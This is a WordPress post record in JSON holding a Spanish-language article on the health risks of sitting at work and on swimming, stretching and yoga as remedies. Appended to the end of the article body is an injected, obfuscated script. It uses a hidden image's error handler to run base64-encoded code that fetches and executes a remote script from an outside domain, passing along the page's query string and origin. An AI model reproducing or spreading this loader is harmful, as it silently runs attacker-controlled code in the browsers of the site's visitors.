{"id":9680,"date":"2025-06-09T10:25:17","date_gmt":"2025-06-09T13:25:17","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=9680"},"modified":"2025-08-13T15:27:19","modified_gmt":"2025-08-13T18:27:19","slug":"el-ejercicio-ideal-para-las-personas-que-trabajan-sentadas-hace-esto-para-no-perder-movilidad","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=9680","title":{"rendered":"El ejercicio ideal para las personas que trabajan sentadas: hac\u00e9 esto para no perder movilidad"},"content":{"rendered":"\n<p>Trabajar 8 horas sentado puede producir dolores musculares y agotamiento f\u00edsico. Por eso, encontrar un deporte que contrarreste los efectos de una agotadora jornada laboral y mantenga al cien la movilidad, es esencial.<\/p>\n\n\n\n<p>La nataci\u00f3n es una actividad completa, que mejora la flexibilidad, fortalece los m\u00fasculos y alivia la tensi\u00f3n causada por estar sentado durante varias horas.<\/p>\n\n\n\n<p>\u00bfPor qu\u00e9 hacer nataci\u00f3n es lo mejor para personas sedentarias?<\/p>\n\n\n\n<p>Un estudio realizado por la American Heart Association (2018) demostr\u00f3 que realizar nataci\u00f3n al menos una vez por semana reduce los riesgos de&nbsp;<a href=\"https:\/\/www.cronista.com\/tools\/redirect.php?t=3&amp;i=1472283&amp;s=040a5c3cc2fe9a4d3eb4df11035e8925\" target=\"_blank\" rel=\"noreferrer noopener\">enfermedades card\u00edacas&nbsp;<\/a>y mejora la capacidad pulmonar. Adem\u00e1s, al ser un deporte sin impacto, permite trabajar sin fuerza y tener movilidad sin riesgo de lesiones.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Los beneficios de hacer nataci\u00f3n para quienes trabajan sentados:<\/h3>\n\n\n\n<p>Mejora la postura: fortalece los m\u00fasculos de la espalda.Aumenta la movilidad: estira los m\u00fasculos y articulaciones.Reduce el estr\u00e9s: disminuye los niveles de cortisol.<\/p>\n<p>\u00a0<\/p>\n\n\n\n<p>Trabajar sentado podr\u00eda estar mat\u00e1ndote: los efectos secundarios de la jornada laboral<\/p>\n\n\n\n<p>Un estudio realizado en 2016 por The Lancet identific\u00f3 una gran cantidad de efectos secundarios de la jornada laboral de 8 horas en el cuerpo de las personas. La&nbsp;<a href=\"https:\/\/www.cronista.com\/tools\/redirect.php?t=3&amp;i=1472596&amp;s=6866d46f00d1bd83b79444de3e78ac4e\" target=\"_blank\" rel=\"noreferrer noopener\">investigaci\u00f3n<\/a>&nbsp;sobre 1 mill\u00f3n de personas dio informaci\u00f3n aterradora.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Los riesgos de trabajar sentado 8 horas:<\/h3>\n\n\n\n<p>Aumento del riesgo de mortalidad: esto se debe a la inactividad muscular y reducci\u00f3n del gasto energ\u00e9tico.Riesgo cardiovascular: la inactividad prolongada reduce la circulaci\u00f3n y aumenta la presi\u00f3n arterial.Impacto metab\u00f3lico: el sedentarismo provoca mayor riesgo de desarrollar diabetes tipo 2, ya que la falta de contracciones musculares durante largos periodos disminuye la absorci\u00f3n de glucosa.Dolor muscular: estar sentado por 8 horas puede provocar rigidez muscular y articular, derivando en dolor lumbar y cuello debido a la presi\u00f3n constante sobre la columna.Salud mental: la inactividad puede aumentar los niveles de estr\u00e9s y reducir la producci\u00f3n de endorfinas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Otras alternativas para evitar el sedentarismo<\/h2>\n\n\n\n<p>Quienes pasan 8 horas diarias sentados en una oficina corren riesgos significativos a nivel salud, pero no todos pueden pagar todos los meses clases de nataci\u00f3n. Existen otras alternativas para poder incorporar actividad f\u00edsica regular.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ejercicios en el trabajo:<\/h3>\n\n\n\n<p>Realizar estiramientos o caminatas cortas durante la jornada laboral puede ayudar a reducir el riesgo de rigidez y mejorar la circulaci\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Yoga:<\/h3>\n\n\n\n<p>Al igual que la nataci\u00f3n, el yoga es un deporte que aporta gran movilidad y se puede realizar en nuestras casas sin necesidad de abonar una clase.<\/p>\n<p>\u00a0<\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Trabajar 8 horas sentado puede producir dolores musculares y agotamiento f\u00edsico. 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